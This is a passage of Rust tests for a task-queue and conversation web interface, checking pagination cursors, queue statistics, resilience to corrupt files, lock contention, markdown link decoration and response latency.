24520            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24521        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24522    }
24523
24524    #[test]
24525    fn list_cursors_freeze_membership_and_expire_explicitly() {
24526        let home = tempfile::tempdir().unwrap();
24527        let ui = delta_test_ui(home.path());
24528        std::fs::create_dir_all(ui.queue.root()).unwrap();
24529        for i in 0..40 {
24530            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24531        }
24532        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24533        assert_eq!(first.len(), STORE_PAGE_SIZE);
24534        let cursor = cursor.unwrap();
24535        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24536        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24537        let (second, _) = page_ids(
24538            &ui,
24539            false,
24540            PageQuery {
24541                before: Some(cursor.clone()),
24542            },
24543        )
24544        .unwrap();
24545        assert_eq!(second[0], "record-0023");
24546        assert!(second.iter().all(|id| !first.contains(id)));
24547        assert!(
24548            page_ids(
24549                &ui,
24550                true,
24551                PageQuery {
24552                    before: Some(cursor.clone())
24553                }
24554            )
24555            .is_err()
24556        );
24557        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24558        assert_eq!(fresh[0], "record-9999");
24559        ui.monitor.list_walks.lock().unwrap().clear();
24560        assert!(
24561            page_ids(
24562                &ui,
24563                false,
24564                PageQuery {
24565                    before: Some(cursor)
24566                }
24567            )
24568            .is_err()
24569        );
24570    }
24571
24572    #[tokio::test]
24573    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24574        let home = tempfile::tempdir().unwrap();
24575        let ui = delta_test_ui(home.path());
24576        let mut task = Task::new(
24577            "task".into(),
24578            "body".into(),
24579            PathBuf::from("/repo"),
24580            Source::Human,
24581        );
24582        ui.queue.put(&mut task).unwrap();
24583        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24584        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24585        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24586        let expected = parsed + usize::from(!cfg!(unix));
24587        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24588        task.status = crate::queue::TaskStatus::Held;
24589        ui.queue.put(&mut task).unwrap();
24590        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24591        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24592        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24593        ui.queue.put(&mut task).unwrap();
24594        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24595        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24596        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24597    }
24598
24599    #[tokio::test]
24600    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24601        let home = tempfile::tempdir().unwrap();
24602        let ui = delta_test_ui(home.path());
24603        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24604        let before = health(State(ui.clone())).await.unwrap().0;
24605        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24606        let after = health(State(ui)).await.unwrap().0;
24607        assert_ne!(before.notifications_rev, after.notifications_rev);
24608        assert_eq!(after.notifications_unread, 1);
24609    }
24610
24611    #[tokio::test]
24612    async fn list_pages_bound_history_and_keep_dependency_evidence() {
24613        let home = tempfile::tempdir().unwrap();
24614        let ui = delta_test_ui(home.path());
24615        let queue = &ui.queue;
24616        let talks = &ui.talks;
24617        for i in 0..1000 {
24618            let id = format!("20261019-{i:06}-page");
24619            let mut task = Task::new(
24620                "task".into(),
24621                "instruction".repeat(100),
24622                PathBuf::from("/repo/magi"),
24623                Source::Human,
24624            );
24625            task.id = id.clone();
24626            if i == 0 {
24627                task.status = crate::queue::TaskStatus::Held;
24628            } else if i == 999 {
24629                task.status = crate::queue::TaskStatus::Blocked;
24630                task.blocked_by = vec!["20261019-000000-page".into()];
24631            }
24632            queue.put(&mut task).unwrap();
24633            seed_talk_at(talks, &id, "open");
24634        }
24635        let page = serde_json::to_value(
24636            queue_page(State(ui.clone()), Query(PageQuery::default()))
24637                .await
24638                .unwrap()
24639                .0,
24640        )
24641        .unwrap();
24642        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24643        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24644        assert!(
24645            !page["rows"][0]["stuck_roots"]
24646                .as_array()
24647                .unwrap()
24648                .is_empty()
24649        );
24650        let cursor = page["next"].as_str().unwrap();
24651        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24652            .as_str()
24653            .unwrap();
24654        // Deleting an already enumerated file cannot shift or repeat a page.
24655        std::fs::remove_file(queue.path_of(last_id)).unwrap();
24656        let next = serde_json::to_value(
24657            queue_page(
24658                State(ui.clone()),
24659                Query(PageQuery {
24660                    before: Some(cursor.into()),
24661                }),
24662            )
24663            .await
24664            .unwrap()
24665            .0,
24666        )
24667        .unwrap();
24668        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24669        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24670        let chats = serde_json::to_value(
24671            talks_page(
24672                State(ui.clone()),
24673                Query(PageQuery::default()),
24674                header::HeaderMap::new(),
24675            )
24676            .await
24677            .unwrap()
24678            .0,
24679        )
24680        .unwrap();
24681        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24682        assert!(chats["rows"][0].get("pending").is_none());
24683        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24684        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24685        assert_eq!(counts["held"], 1);
24686        assert_eq!(counts["blocked"], 1);
24687        assert_eq!(counts["queued"], 997);
24688    }
24689
24690    #[test]
24691    fn queue_index_observes_external_replacement_deletion_and_corruption() {
24692        let dir = tempfile::tempdir().unwrap();
24693        let ui = delta_test_ui(dir.path());
24694        let mut task = Task::new(
24695            "task".into(),
24696            "body".into(),
24697            PathBuf::from("/repo"),
24698            Source::Human,
24699        );
24700        task.runs = vec!["run-a".into()];
24701        ui.queue.put(&mut task).unwrap();
24702        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24703        task.runs = vec!["run-b".into()];
24704        let path = ui.queue.path_of(&task.id);
24705        let modified = path.metadata().unwrap().modified().unwrap();
24706        let replacement = path.with_extension("replacement");
24707        let bytes = serde_json::to_vec_pretty(&task).unwrap();
24708        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24709        std::fs::write(&replacement, &bytes).unwrap();
24710        std::fs::File::options()
24711            .write(true)
24712            .open(&replacement)
24713            .unwrap()
24714            .set_times(std::fs::FileTimes::new().set_modified(modified))
24715            .unwrap();
24716        std::fs::rename(&replacement, &path).unwrap();
24717        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24718        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24719        std::fs::write(&path, "broken").unwrap();
24720        assert!(ui.find_task_for_run("run-b").is_err());
24721        std::fs::write(&path, bytes).unwrap();
24722        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24723        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24724        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24725    }
24726
24727    #[tokio::test]
24728    async fn conversation_core_is_independent_of_unreadable_related_history() {
24729        let home = tempfile::tempdir().unwrap();
24730        let ui = delta_test_ui(home.path());
24731        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24732        std::fs::create_dir_all(ui.queue.root()).unwrap();
24733        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24734        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24735            .await
24736            .unwrap();
24737        assert_eq!(core.talk.id, id);
24738        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24739    }
24740
24741    #[test]
24742    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
24743        let home = tempfile::tempdir().unwrap();
24744        let ui = delta_test_ui(home.path());
24745        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24746        let directory = home.path().join("workers/jobs/abcdef");
24747        std::fs::create_dir_all(&directory).unwrap();
24748        let job = crate::worker::Job {
24749            id: "abcdef".into(),
24750            sequence: 1,
24751            kind: "chat".into(),
24752            key: id.clone(),
24753            payload: serde_json::json!({ "talk": id }),
24754            generation: "test".into(),
24755            version: None,
24756            status: crate::worker::Status::Running,
24757            result: None,
24758            pid: None,
24759            created_at: 0,
24760            finished_at: None,
24761        };
24762        std::fs::write(
24763            directory.join("job.json"),
24764            serde_json::to_vec(&job).unwrap(),
24765        )
24766        .unwrap();
24767        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
24768        let store =
24769            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
24770        let runtime = tokio::runtime::Builder::new_current_thread()
24771            .enable_all()
24772            .max_blocking_threads(1)
24773            .build()
24774            .unwrap();
24775        runtime.block_on(async {
24776            let (release, held) = std::sync::mpsc::channel();
24777            let (started, ready) = tokio::sync::oneshot::channel();
24778            let occupied = tokio::task::spawn_blocking(move || {
24779                started.send(()).unwrap();
24780                held.recv().unwrap();
24781            });
24782            ready.await.unwrap();
24783            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
24784            let bulk = ui
24785                .monitor
24786                .bulk_slots
24787                .clone()
24788                .acquire_many_owned(2)
24789                .await
24790                .unwrap();
24791            let result = tokio::time::timeout(
24792                Duration::from_secs(2),
24793                talk_core(State(ui.clone()), Path(id.clone())),
24794            )
24795            .await;
24796            // Release all blockers before assertions, including on a regression.
24797            drop(store);
24798            drop(bulk);
24799            release.send(()).unwrap();
24800            occupied.await.unwrap();
24801            let _ = secondary.await.unwrap().unwrap();
24802            let Json(core) = result
24803                .expect("transcript must bypass secondary work and the worker store lock")
24804                .unwrap();
24805            assert!(
24806                core.thinking,
24807                "read-only observation retains live worker state"
24808            );
24809            assert_eq!(core.talk.id, id);
24810            let admission_ui = ui.clone();
24811            let (release, held) = std::sync::mpsc::channel();
24812            let (started, ready) = tokio::sync::oneshot::channel();
24813            let admission = std::thread::spawn(move || {
24814                let _lock = admission_ui.talk_turns.lock().unwrap();
24815                started.send(()).unwrap();
24816                held.recv().unwrap();
24817            });
24818            ready.await.unwrap();
24819            let result = tokio::time::timeout(
24820                Duration::from_secs(2),
24821                talk_core(State(ui.clone()), Path(id.clone())),
24822            )
24823            .await;
24824            release.send(()).unwrap();
24825            admission.join().unwrap();
24826            assert!(
24827                result
24828                    .expect("display must not wait behind local admission")
24829                    .unwrap()
24830                    .0
24831                    .thinking
24832            );
24833            assert!(ui.is_thinking(&id));
24834            assert!(ui.is_thinking_observed(&id));
24835            drop(live);
24836            assert!(
24837                !ui.is_thinking_observed(&id),
24838                "a finished lease no longer appears live"
24839            );
24840            assert!(!ui.is_thinking(&id));
24841            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
24842            assert!(
24843                ui.is_thinking_observed(&id),
24844                "local admission remains visible"
24845            );
24846        });
24847    }
24848
24849    #[tokio::test]
24850    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24851        let home = tempfile::tempdir().unwrap();
24852        let ui = delta_test_ui(home.path());
24853        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24854        let mut task = Task::new(
24855            "Referenced task".into(),
24856            "Unrelated instruction history".repeat(1024),
24857            home.path().into(),
24858            Source::Human,
24859        );
24860        task.id = "20261019-000000-abcd".into();
24861        ui.queue.put(&mut task).unwrap();
24862        let mut conversation = ui.talks.get(&id).unwrap();
24863        conversation.turns.push(talk::Turn {
24864            sender: Some(talk::Sender::Persona),
24865            who: talk::Who::Agent,
24866            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24867            at: conversation.created_at,
24868            attachments: Vec::new(),
24869            usage: None,
24870            breaks: None,
24871            messages: Vec::new(),
24872            posted_by: None,
24873        });
24874        ui.talks.put(&mut conversation).unwrap();
24875
24876        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24877        let markdown = serde_json::to_value(&core.turn_bodies_md)
24878            .unwrap()
24879            .to_string();
24880        assert!(markdown.contains("\"strong\""));
24881        assert!(markdown.contains("\"table\""));
24882        assert!(markdown.contains("\"bullet_list\""));
24883        assert!(markdown.contains("\"code_block\""));
24884        assert!(!markdown.contains("\"internal_link\""));
24885        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24886        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24887        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24888
24889        // Deferred decoration still resolves the same validated task, without
24890        // touching opaque code blocks or changing the original transcript.
24891        let references = ui.references.for_talk(home.path(), &conversation);
24892        let mut decorated = core.turn_bodies_md[0].clone();
24893        references.markdown(&mut decorated);
24894        let decorated = serde_json::to_value(decorated).unwrap().to_string();
24895        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24896        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24897        assert_eq!(
24898            ui.talks.get(&conversation.id).unwrap().turns[0].body,
24899            conversation.turns[0].body
24900        );
24901    }
24902
24903    #[tokio::test]
24904    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24905        let home = tempfile::tempdir().unwrap();
24906        let ui = delta_test_ui(home.path());
24907        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24908        let mut run = RunState::new(
24909            PathBuf::from("/repo"),
24910            "main".into(),
24911            "01234567".into(),
24912            "Useful run".into(),
24913            Config::default(),
24914        );
24915        run.save_under(home.path()).unwrap();
24916        let mut task = Task::new(
24917            "Related".into(),
24918            "body".into(),
24919            PathBuf::from("/repo"),
24920            Source::Agent {
24921                run: talk_id.clone(),
24922                node: "chat".into(),
24923            },
24924        );
24925        task.runs = vec![run.id.clone()];
24926        ui.queue.put(&mut task).unwrap();
24927        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24928        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24929        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24930        assert!(
24931            run_detail(State(ui.clone()), Path(run.id.clone()))
24932                .await
24933                .is_ok()
24934        );
24935        assert!(
24936            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24937                .await
24938                .is_ok()
24939        );
24940        // Previously indexed corruption must not masquerade as no relationship.
24941        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24942        assert!(ui.find_task_for_run(&run.id).is_err());
24943        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24944        ui.queue.put(&mut task).unwrap();
24945        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24946    }
24947
24948    #[tokio::test]
24949    async fn conversation_sections_omit_large_task_instructions() {
24950        let home = tempfile::tempdir().unwrap();
24951        let ui = delta_test_ui(home.path());
24952        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24953        let mut task = Task::new(
24954            "filed task".into(),
24955            "large instruction ".repeat(65536),
24956            PathBuf::from("/repo"),
24957            Source::Agent {
24958                run: id.clone(),
24959                node: "chat".into(),
24960            },
24961        );
24962        ui.queue.put(&mut task).unwrap();
24963        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24964        assert_eq!(sections["tasks"][0]["id"], task.id);
24965        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24966        assert!(sections["tasks"][0].get("instruction").is_none());
24967        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24968    }
24969
24970    #[test]
24971    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24972        let home = tempfile::tempdir().unwrap();
24973        let talks = Talks::at(home.path().join("talks"));
24974        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24975        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24976        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24977        assert!(resolve_talk(&talks, "../outside").is_err());
24978        assert!(resolve_talk(&talks, "abcd").is_err());
24979        assert_eq!(
24980            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24981            "20261019-000001-abcd"
24982        );
24983    }
24984
24985    include!(concat!(
24986        env!("CARGO_MANIFEST_DIR"),
24987        "/tests/web_latency/baseline.rs"
24988    ));
24989
24990    include!(concat!(
24991        env!("CARGO_MANIFEST_DIR"),
24992        "/tests/web_latency/lists.rs"
24993    ));
24994
24995    #[tokio::test]
24996    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24997    async fn web_history_latency_measurement() {
24998        use std::time::Instant;
24999        let home = tempfile::tempdir().unwrap();
25000        let ui = delta_test_ui(home.path());
25001        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25002        let mut template = ui.talks.get(&id).unwrap();
25003        template.turns = serde_json::from_value(serde_json::json!([{
25004            "who": "operator", "body": "Show the accumulated work and its current status.",
25005            "at": Timestamp::now().to_string(),
25006        }]))
25007        .unwrap();
25008        std::fs::write(
25009            ui.talks.path_of(&id),
25010            serde_json::to_vec(&template).unwrap(),
25011        )
25012        .unwrap();
25013        let count = std::env::var("MAGI_BENCH_RECORDS")
25014            .ok()
25015            .and_then(|s| s.parse::<usize>().ok())
25016            .unwrap_or(1000);
25017        for i in 0..count {
25018            template.id = format!("20261019-{i:06}-history");
25019            template.pending = "history ".repeat(2048);
25020            std::fs::write(
25021                ui.talks.path_of(&template.id),
25022                serde_json::to_vec(&template).unwrap(),
25023            )
25024            .unwrap();
25025            let mut task = Task::new(
25026                "old task".into(),
25027                "instruction ".repeat(2048),
25028                PathBuf::from("/repo"),
25029                Source::Human,
25030            );
25031            task.id = format!("20261019-{i:06}-task");
25032            ui.queue.put(&mut task).unwrap();
25033        }
25034        for baseline in [true, false] {
25035            for clients in [1, 4] {
25036                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25037                let mut samples = Vec::new();
25038                for _ in 0..12 {
25039                    let mut jobs = Vec::new();
25040                    for _ in 0..clients {
25041                        let ui = ui.clone();
25042                        let id = id.clone();
25043                        jobs.push(tokio::spawn(async move {
25044                            let start = Instant::now();
25045                            if baseline {
25046                                let response =
25047                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25048                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25049                                return (
25050                                    elapsed,
25051                                    elapsed,
25052                                    serde_json::to_vec(&response).unwrap().len(),
25053                                );
25054                            }
25055                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25056                            let secondary = talk_sections(State(ui), Path(id));
25057                            let (first, total) = tokio::join!(
25058                                async {
25059                                    let value = core.await.unwrap().0;
25060                                    (
25061                                        start.elapsed().as_secs_f64() * 1000.0,
25062                                        serde_json::to_vec(&value).unwrap().len(),
25063                                    )
25064                                },
25065                                async {
25066                                    let value = secondary.await.unwrap().0;
25067                                    (
25068                                        start.elapsed().as_secs_f64() * 1000.0,
25069                                        serde_json::to_vec(&value).unwrap().len(),
25070                                    )
25071                                }
25072                            );
25073                            (first.0, first.0.max(total.0), first.1 + total.1)
25074                        }));
25075                    }
25076                    for job in jobs {
25077                        samples.push(job.await.unwrap());
25078                    }
25079                }
25080                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25081                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25082                first.sort_by(f64::total_cmp);
25083                total.sort_by(f64::total_cmp);
25084                let n = first.len();
25085                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25086                println!(
25087                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25088                    first[n / 2],
25089                    first[(n * 95 / 100).min(n - 1)],
25090                    total[n / 2],
25091                    total[(n * 95 / 100).min(n - 1)],
25092                    samples[0].2
25093                );
25094            }
25095        }
25096    }
25097
25098    #[test]
25099    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25100        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25101        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25102        assert!(APP_JS.contains("function nextRunRequest(id)"));
25103        assert!(APP_JS.contains("function runShell(id, summary)"));
25104        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25105        assert!(APP_JS.contains("function taskShell(id, summary)"));
25106        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25107    }
25108}